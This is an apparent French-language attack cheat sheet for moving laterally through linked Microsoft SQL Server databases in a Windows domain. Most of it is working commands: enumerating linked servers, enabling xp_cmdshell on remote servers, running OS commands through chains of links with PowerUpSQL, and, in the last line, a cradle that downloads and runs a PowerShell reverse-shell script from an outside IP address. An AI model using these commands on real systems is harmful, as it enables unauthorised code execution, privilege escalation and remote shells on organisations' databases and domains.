Les bases de données MSSQL peuvent être liées, de sorte que si vous compromettez l'une d'entre elles, vous pouvez exécuter des requêtes (ou même des commandes ) sur d'autres bases de données dans le contexte d'un utilisateur spécifique (Domain Admin par exemple). Si cela est configuré, cela peut même être utilisé pour du cross trust Forest ! Si nous disposons d'une exécution SQL, nous pouvons utiliser les commandes suivantes pour énumérer les liens entre les bases de données.
# Trouver les serveurs liésEXEC sp_linkedservers# Lancer des requêtes SQL sur le serveur link cibléselect mylogin from openquery("TARGETSERVER",'select SYSTEM_USER as mylogin')# Autoriser 'xp_cmdshell' sur le serveur distant est exécuter des commandes, cela ne marche que si le protocole RPC est activé
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVEREXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVEREXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
Nous pouvons également utiliser PowerUpSQL pour rechercher des bases de données dans le domaine, et recueillir des informations supplémentaires sur les bases de données (accessibles). Nous pourrons également rechercher automatiquement, et exécuter des requêtes ou des commandes sur des bases de données liées (même à travers plusieurs couches de links de bases de données).
# Obtenir des bases de données MSSQL dans le domaine, et tester la connectivitéGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded| ft# Obtenir des information sur toutes les bases de données du domaineGet-SQLInstanceDomain|Get-SQLServerInfo# Avoir des information sur une seule base de donnée Get-SQLServerInfo-Instance TARGETSERVER# Scanner la base de donnée MSSQL pour observer des potentielles mauvaises configurationInvoke-SQLAudit-Verbose -Instance TARGETSERVER# Exécuter une requête SQLGet-SQLQuery-Query "SELECT system_user"-Instance TARGETSERVER# Exécuter une commande (autorise XP_CMDSHELL automatiquement si besoin)Invoke-SQLOSCmd-Instance TARGETSERVER -Command "whoami"| select -ExpandProperty CommandResults# Trouver toutes les base donnée liées Get-SqlServerLinkCrawl-Instance TARGETSERVER | select instance,links | ft# executer une commande si XP_CMDSHELL est autorisé sur une des base donnée liéeGet-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''<http://172.16.100.55/Invoke-PowerShellTcpRun.ps1>'')"' | select instance,links,customquery | ft